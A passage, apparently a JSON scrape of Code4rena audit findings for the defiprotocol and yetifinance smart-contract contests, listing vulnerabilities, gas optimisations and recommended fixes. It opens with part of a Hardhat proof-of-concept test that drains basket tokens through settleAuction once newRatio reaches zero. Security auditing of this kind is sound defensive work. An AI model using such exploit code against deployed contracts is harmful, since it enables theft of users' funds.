`settleAuction()` // is `0`. And that means `tokensNeeded` is 0. Which means, // we can take out all the tokens we want using the `outputTokens` array // without having to worry about basket's balance at the end. // The math changes depending on the settings of the factory contract or the // Basket contract. But, the gist is that you try to get newRatio to be 0. // The only values you can control as a attacker is the bondBlock after the auction // was started. for (let i = 0; i < 20000; i++) { await hre.network.provider.send(\"evm_mine\") } await basket.approve(auction.address, '5000000000000000'); await expect(auction.bondForRebalance()).to.be.ok; await expect(auction.settleAuction([], [], [], [UNI.address, AAVE.address], [\"200720000000000000\", \"200120000000000000\"])).to.be.ok; }); ``` Again, this test uses the base values. The math changes when the settings change. But, it should always be possible to trigger this attack. The gap between auction start and bonding just changes. ## Tools Used manual analysis ## Recommended Mitigation Steps - Verify that `newRatio != 0` "}, {"title": "Wrong syntax in test leads to wrong test results", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/62", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Wrong syntax in test leads to wrong test results"}, {"title": "Lost fees due to precision loss in fees calculation", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/60", "labels": ["bug", "2 (Med Risk)"], "target": "2021-12-defiprotocol-findings", "body": "Lost fees due to precision loss in fees calculation"}, {"title": "Wrong fee calculation after totalSupply was 0", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/58", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-defiprotocol-findings", "body": "# Handle kenzo # Vulnerability details `handleFees` does not update `lastFee` if `startSupply == 0`. This means that wrongly, extra fee tokens would be minted once the basket is resupplied and `handleFees` is called again. ## Impact Loss of user funds. The extra minting of fee tokens comes on the expense of the regular basket token owners, which upon withdrawal would get less underlying than their true share, due to the dilution of their tokens' value. ## Proof of Concept Scenario: - All basket token holders are burning their tokens. The last burn would set totalSupply to 0. - After 1 day, somebody mints basket tokens. `handleFees` would be called upon mint, and would just return since totalSupply == 0. Note: It does not update `lastFee`. ``` } else if (startSupply == 0) { return; ``` https://github.com/code-423n4/2021-12-defiprotocol/blob/main/contracts/contracts/Basket.sol#L136:#L137 - The next block, somebody else mints a token. Now `handleFees` will be called and will calculate the fees according to the current supply and the time diff between now and `lastFee`: ``` uint256 timeDiff = (block.timestamp - lastFee); ``` https://github.com/code-423n4/2021-12-defiprotocol/blob/main/contracts/contracts/Basket.sol#L139 But as we saw, `lastFee` wasn't updated in the previous step. `lastFee` is still the time of 1 day before - when the last person burned his tokens and the basket supply was 0. So now the basket will mint fees as if a whole day has passed since the last calculation, but actually it only needs to calculate the fees for the last block, since only then we had tokens in the basket. ## Recommended Mitigation Steps Set `lastFee = block.timestamp` if `startSupply == 0`. "}, {"title": "`auctionImpl` and `basketImpl` in factory can be made immutable for gas savings", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "`auctionImpl` and `basketImpl` in factory can be made immutable for gas savings"}, {"title": "Bonding doesn't seem to perform any meaningful role and leads to inefficient auctions", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/56", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "Bonding doesn't seem to perform any meaningful role and leads to inefficient auctions"}, {"title": "Publisher can lock all user funds in the Basket in order to force a user to have their bond burned", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/53", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "Publisher can lock all user funds in the Basket in order to force a user to have their bond burned"}, {"title": "Incorrent visibility for \"initialized\" variable", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/50", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-12-defiprotocol-findings", "body": "# Handle neslinesli93 # Vulnerability details ## Impact The `initialized` variable has its visibility set to `public`, while it should be private. The reason is that any contract that inherits from `Auction.sol` or `Basket.sol` may reset the value for the `initialized` variable ## Recommended Mitigation Steps Reduce `initialized` visibility to `private` in both contracs "}, {"title": "Basket:pushUnderlying()/pullUnderlying() cache ibRatio to save gas", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/49", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Basket:pushUnderlying()/pullUnderlying() cache ibRatio to save gas"}, {"title": "Basket:handleFees() use unchecked to save gas", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/47", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Basket:handleFees() use unchecked to save gas"}, {"title": "Basket:initialize() reuse function argument instead of storage variable", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/46", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Basket:initialize() reuse function argument instead of storage variable"}, {"title": "Factory:constructor don't need to zero initialize storage variable", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/45", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Factory:constructor don't need to zero initialize storage variable"}, {"title": "Factory:setOwnerSplit owner fee split can be set to exactly 20%", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/44", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Factory:setOwnerSplit owner fee split can be set to exactly 20%"}, {"title": "Basket:handleFees fee calculation is wrong", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/43", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-defiprotocol-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact The fee calculation on L141 is wrong. It should only get divided by BASE and not (BASE - feePct) ## Proof of Concept This shows dividing only by BASE is correct: Assumptions: - BASE is 1e18 accordign to the code - timeDiff is exactly ONE_YEAR (for easier calculations) - startSupply is 1e18 (exactly one basket token, also represents 100% in fee terms) - licenseFee is 1e15 (0.1%) If we calculate the fee of one whole year and startSupply is one token (1e18, equal to 100%), the fee should be exactly the licenseFee (1e15, 0.1%), uint256 timeDiff = ONE_YEAR; uint256 feePct = timeDiff * licenseFee / ONE_YEAR; => therefore we have: feePct = licenseFee which is 1e15 (0.1%) according to our assumptions uint256 fee = startSupply * feePct / BASE; // only divide by BASE => insert values => fee = 1e18 * licenseFee / 1e18 = licenseFee This shows the math is wrong: Assumptions: - BASE is 1e18 according to the code - timeDiff is exactly ONE_YEAR (for easier calculations) - startSupply is 1e18 (exactly one basket token, also represents 100% in fee terms) - licenseFee is 1e15 (0.1%) If we calculate the fee of one whole year and startSupply is one token (1e18, equal to 100%), the fee should be exactly the licenseFee (1e15, 0.1%), but the fee is bigger than that. uint256 timeDiff = ONE_YEAR; uint256 feePct = timeDiff * licenseFee / ONE_YEAR; => therefore we have: feePct = licenseFee which is 1e15 (0.1%) according to our assumptions uint256 fee = startSupply * feePct / (BASE - feePct); insert the values => fee = 1e18 * 1e15 / (1e18 - 1e15) => (factor out 1e15) => fee = 1e15 * 1e18 / (1e15 * ( 1e3 - 1) => (cancel 1e15) => 1e18 / ( 1e3 - 1) math: if we increase the divisor but the dividend stays the same we get a smaller number e.g. (1 / (2-1)) is bigger than (1 / 2) apply this here => 1e18 / ( 1e3 - 1) > 1e18 / 1e3 => 1e18 / ( 1e3 - 1) > 1e15 this shows that the fee is higher than 1e15 https://github.com/code-423n4/2021-12-defiprotocol/blob/205d3766044171e325df6a8bf2e79b37856eece1/contracts/contracts/Basket.sol#L133 https://github.com/code-423n4/2021-12-defiprotocol/blob/205d3766044171e325df6a8bf2e79b37856eece1/contracts/contracts/Basket.sol#L141 ## Tools Used Manual Analysis ## Recommended Mitigation Steps - only divide by BASE "}, {"title": "Publisher switch logic can be simplified", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/41", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Publisher switch logic can be simplified"}, {"title": "Excessive checking of basket totalsupply", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/38", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Excessive checking of basket totalsupply"}, {"title": "Auction.hasBonded variable is unnecessary", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/37", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Auction.hasBonded variable is unnecessary"}, {"title": "Auction.auctionOngoing variable is unnecessary", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/36", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Auction.auctionOngoing variable is unnecessary"}, {"title": "changeLicenseFee() and fees for previous period", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/33", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "changeLicenseFee() and fees for previous period"}, {"title": "Emit for publishNewIndex / killAuction part", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/32", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-12-defiprotocol-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Most of the public functions have an emit, however in function publishNewIndex(), there is no emit for the \"killauction\" part. It might be useful to have an emit there too. ## Proof of Concept https://github.com/code-423n4/2021-12-defiprotocol/blob/205d3766044171e325df6a8bf2e79b37856eece1/contracts/contracts/Basket.sol#L216-L244 ```JS function publishNewIndex(address[] memory _tokens, uint256[] memory _weights, uint256 _minIbRatio) onlyPublisher public override { ... } else { auction.killAuction(); pendingWeights.tokens = _tokens; pendingWeights.weights = _weights; pendingWeights.timestamp = block.timestamp; pendingWeights.minIbRatio = _minIbRatio; // no emit } ``` ## Tools Used ## Recommended Mitigation Steps Possibly add an emit in the \"killauction\" part "}, {"title": "Missing Revert Messages", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/31", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Missing Revert Messages"}, {"title": "`Ownable` Contract Does Not Implement Two-Step Transfer Ownership Pattern", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/30", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "`Ownable` Contract Does Not Implement Two-Step Transfer Ownership Pattern"}, {"title": "Not verified function inputs of public / external functions", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/27", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "Not verified function inputs of public / external functions"}, {"title": "Storage double reading. Could save SLOAD", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/18", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Storage double reading. Could save SLOAD"}, {"title": "Lack of event indexing", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/15", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Lack of event indexing"}, {"title": "Remove override keyword from Basket", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/13", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Remove override keyword from Basket"}, {"title": "Remove override keyword from Auction", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/12", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Remove override keyword from Auction"}, {"title": "Use of Require statement without reason message", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/10", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Use of Require statement without reason message"}, {"title": "Remove override keyword", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/9", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Remove override keyword"}, {"title": "Lack of input verification", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/8", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Lack of input verification"}, {"title": "Gas: Redundant check in `setNewMaxSupply`", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/7", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Gas: Redundant check in `setNewMaxSupply`"}, {"title": "Lack of message in require statments", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/6", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Lack of message in require statments"}, {"title": "Lack of revert reason strings", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/5", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Lack of revert reason strings"}, {"title": "Minted and Burned events are unnecessary", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/4", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Minted and Burned events are unnecessary"}, {"title": "Extra ERC20 approvals/transfers on Basket deployment", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/2", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Extra ERC20 approvals/transfers on Basket deployment"}, {"title": "Missing return statements", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/301", "labels": ["bug", "1 (Low Risk)"], "target": "2021-12-yetifinance-findings", "body": "Missing return statements"}, {"title": "claimYeti inclusive check", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/300", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle pauliax # Vulnerability details ## Impact condition should be inclusive >= : ```solidity if (available > totalClaimed.add(_amount)) ``` "}, {"title": "Gas Optimization: Unnecessary variables", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/299", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle gzeon # Vulnerability details ## Impact The 3 variable defined in L365-367 are used only once https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/Dependencies/Whitelist.sol#L365-367 ``` uint256 price = getPrice(_collateral); uint256 decimals = collateralParams[_collateral].decimals; uint256 ratio = collateralParams[_collateral].ratio; ``` We can skip them and do everything inline: ``` return (getPrice(_collateral).mul(_amount).mul(collateralParams[_collateral].ratio).div(10**(18 + collateralParams[_collateral].decimals))); ``` Similarly, L352-354 ``` return getPrice(_collateral).mul(_amount).div(10**collateralParams[_collateral].decimals); ``` "}, {"title": "_isBeforeFeeBootstrapPeriod inside the loop", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/296", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle pauliax # Vulnerability details ## Impact _isBeforeFeeBootstrapPeriod() is re-evaluated again and again inside the loop, although its value could be cached outside the loop and re-used to reduce gas costs. "}, {"title": "Cache repeated calculations", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/294", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle pauliax # Vulnerability details ## Impact In function _transfer, shares.to128(); can be cached to skip the same calculation again: ```solidity users[from].balance = fromUser.balance - shares.to128(); users[to].balance = toUser.balance + shares.to128(); ``` Same here, the result can be extracted to a constant as it never changes: ```solidity (DECIMAL_PRECISION / 2) ``` "}, {"title": "exists check passes when validCollateral length is 0", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/292", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-yetifinance-findings", "body": "exists check passes when validCollateral length is 0"}, {"title": "`_redeemCaller` should not obtain rights to future rewards for the `WJLP` they redeemed", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/291", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "`_redeemCaller` should not obtain rights to future rewards for the `WJLP` they redeemed"}, {"title": "Attacker can steal future rewards of `WJLP` from other users", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/290", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "Attacker can steal future rewards of `WJLP` from other users"}, {"title": "Cache storage variables in the stack can save gas", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/289", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "Cache storage variables in the stack can save gas"}, {"title": "Infinite mint", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/287", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "Infinite mint"}, {"title": "Unsafe approve in sYETIToken", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/286", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-12-yetifinance-findings", "body": "Unsafe approve in sYETIToken"}, {"title": "Liquidation can be escaped by depositing a WJLP with `_rewardOwner` != `_borrower`", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/284", "labels": ["bug", "3 (High Risk)"], "target": "2021-12-yetifinance-findings", "body": "Liquidation can be escaped by depositing a WJLP with `_rewardOwner` != `_borrower`"}, {"title": "Cache array length in for loops can save gas", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/283", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-yetifinance-findings", "body": "Cache array length in for loops can save gas"}, {"title": "Only using `SafeMath` when necessary can save gas", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/281", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "Only using `SafeMath` when necessary can save gas"}, {"title": "Only use `amount` when needed can save gas", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/279", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/TroveManagerLiquidations.sol#L839-L847 ```solidity=839 function _updateWAssetsRewardOwner(newColls memory _colls, address _borrower, address _newOwner) internal { for (uint i = 0; i < _colls.tokens.length; i++) { address token = _colls.tokens[i]; uint amount = _colls.amounts[i]; if (whitelist.isWrapped(token)) { IWAsset(token).updateReward(_borrower, _newOwner, amount); } } } ``` Since `amount` is only needed in `if (whitelist.isWrapped(token)) {...}`, so `uint amount = _colls.amounts[i];` should be moved to inside `if (whitelist.isWrapped(token)) {...}`. Furthermore, considering that `amount` is only used once, it can be replaced with `_colls.amounts[i]`. ### Recommendation Change to: ```solidity=839 function _updateWAssetsRewardOwner(newColls memory _colls, address _borrower, address _newOwner) internal { for (uint i = 0; i < _colls.tokens.length; i++) { address token = _colls.tokens[i]; if (whitelist.isWrapped(token)) { IWAsset(token).updateReward(_borrower, _newOwner, _colls.amounts[i]); } } } ``` "}, {"title": "Inline unnecessary function can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/278", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "Inline unnecessary function can make the code simpler and save some gas"}, {"title": "`HintHelpers.sol#setAddresses()` can be replaced with `constructor` and save gas", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/277", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-yetifinance-findings", "body": "`HintHelpers.sol#setAddresses()` can be replaced with `constructor` and save gas"}, {"title": "`10 ** 18` can be changed to `1e18` and save some gas", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/274", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-yetifinance-findings", "body": "`10 ** 18` can be changed to `1e18` and save some gas"}, {"title": "Public functions not used by current contract should be external", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/270", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-yetifinance-findings", "body": "Public functions not used by current contract should be external"}, {"title": "Tokens with fee on transfer are not supported", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/268", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-yetifinance-findings", "body": "Tokens with fee on transfer are not supported"}, {"title": "Missing error messages in require statements", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/265", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-yetifinance-findings", "body": "Missing error messages in require statements"}, {"title": "TeamLockup releases more tokens that it should", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/263", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle kenzo # Vulnerability details TeamLockup mentions on \"vestingLength\" that it is the \"number of YETI that are claimable every day after vesting starts\". However, the vesting calculation treats it as if was the number of YETI that are claimable every second, not every day. ## Impact Tokens would be released faster than planned. Or, if the tokens are planned to be released every second and not every day (I'm guessing it's less likely), then this is a wrong comment. ## Proof of Concept The description of `vestingLength`: [(Code ref)](https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/YETI/TeamLockup.sol#L15) ``` uint immutable vestingLength; // number of YETI that are claimable every day after vesting starts ``` The calculation to decide how many tokens can be released: [(Code ref)](https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/YETI/TeamLockup.sol#L41:#L43) ``` uint timePastVesting = block.timestamp.sub(vestingStart); uint available = _min(totalVest,(totalVest.mul(timePastVesting)).div(vestingLength)); ``` The problem is that `timePastVesting` is in seconds, and `vestingLength` is in days. ## Recommended Mitigation Steps Divide the calculation by `1 day` to align the units. "}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/261", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "Adding unchecked directive can save gas"}, {"title": "`ERC20_8.sol` `totalSupply` should be increased on `mint` and decreased on `burn`", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/259", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-12-yetifinance-findings", "body": "`ERC20_8.sol` `totalSupply` should be increased on `mint` and decreased on `burn`"}, {"title": "Race condition on ERC20 approval", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/252", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-yetifinance-findings", "body": "Race condition on ERC20 approval"}, {"title": "`YetiFinanceTreasury.sol#updateTeamWallet()` should implement two-step transfer pattern", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/251", "labels": ["bug", "1 (Low Risk)"], "target": "2021-12-yetifinance-findings", "body": "`YetiFinanceTreasury.sol#updateTeamWallet()` should implement two-step transfer pattern"}, {"title": "Wrong vesting schedule for YETI mentioned in LockupContract", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/250", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle kenzo # Vulnerability details LockupContract, LockupContractFactory amd ShortLockupContract all have comments that say: ``` Within the first year from deployment, the deployer of the YETIToken (Liquity AG's address) may transfer YETI only to valid LockupContracts, and no other addresses (this is enforced in YETIToken.sol's transfer() function). The above two restrictions ensure that until one year after system deployment, YETI tokens originating from Liquity AG cannot enter circulating supply and cannot be staked to earn system revenue. ``` This comment is outdated (verified with sponsor). There is no such lockup on YETI tokens issued to team/treasury. (There might be other type of vesting which is probably implemented using TeamLockup.) ## Impact Confusion, wrong description of team's capability to use yeti tokens issued. ## Proof of Concept [Code ref](https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/YETI/LockupContract.sol#L13:#L18). ## Recommended Mitigation Steps Remove outdated comments. "}, {"title": "SafeMath with Solidity 0.8", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/246", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-yetifinance-findings", "body": "SafeMath with Solidity 0.8"}, {"title": "Deleting a mapping within a struct", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/245", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "Deleting a mapping within a struct"}, {"title": "ecrecover 0 address", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/244", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle pauliax # Vulnerability details ## Impact ecrecover returns an empty address when the signature is invalid. As far as I checked, with the current codebase, there is no way to exploit it to gain any benefits, but it is a good practice to check against that. ```solidity address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress == owner, 'YUSD: invalid signature'); ``` ## Recommended Mitigation Steps require recoveredAddress != address(0) You could also consider using OZ's ECDSA library for signature verifications: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol "}, {"title": "Rescue assets in treasury contract", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/243", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-yetifinance-findings", "body": "Rescue assets in treasury contract"}, {"title": "setAddresses should only be callable once", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/240", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function setAddresses in contract Whitelist is intended to be invoked only once (confirmed with the sponsor) but currently, it has no prevention from being called multiple times. Maybe this should also be prevented in sYETIToken's setAddresses and ThreePieceWiseLinearPriceCurve's setAddresses. ## Recommended Mitigation Steps Prevent repeated access of setAddresses in Whitelist and potentially in sYETIToken and ThreePieceWiseLinearPriceCurve. "}, {"title": "TODOs", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/238", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-yetifinance-findings", "body": "TODOs"}, {"title": "`WJLP.getPendingRewards()` should be aview function", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/233", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle Ruhum # Vulnerability details ## Impact View functions consume less gas. `WJLP.getPendingRewards()` is technically also a view function but not specified as one. Because the `IMasterChefJoeV2` interface used by the contract is wrong. It says `poolInfo()` is not a view function, which it is. ## Proof of Concept getPendingRewards: https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L190 Faulty interface function: https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L29 actually poolinfo is just an array so its getter is a view function: https://github.com/traderjoe-xyz/joe-core/blob/main/contracts/MasterChefJoeV2.sol#L85 ## Tools Used none ## Recommended Mitigation Step Declare both functions as `view` to save gas "}, {"title": "CollSurplusPool doesn't verify that the passed `_whitelistAddress` is an actual contract addres", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/230", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle Ruhum # Vulnerability details ## Impact All the other passed variables are checked. Only `_whitelistAddress` is ignored. This allows passing a zero function which would break the functionality. ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L51-L54 ## Tools Used none ## Recommended Mitigation Steps add `checkContract(_whitelistAddress)` "}, {"title": "Ownable doesn't allow transferring ownership", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/228", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-12-yetifinance-findings", "body": "Ownable doesn't allow transferring ownership"}, {"title": "GAS: packing structs saves gas", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/224", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-yetifinance-findings", "body": "GAS: packing structs saves gas"}, {"title": "Lack of precision", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/221", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "Lack of precision"}, {"title": "No sanity check of safe ratio when adding collateral", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/217", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle kenzo # Vulnerability details When changing collateral's ratio, it is rightly checked to be smaller than 110%. However when adding new collateral, the ratio check is not there, so it can be added with ratio that is larger than 110%. ## Impact Accidentally adding an asset with larger ratio would result in users being able to withdraw more YUSD than supplied VC. ## Proof of Concept When an asset is being added, there is no sanity check that the ratio is within the correct range. [(Code 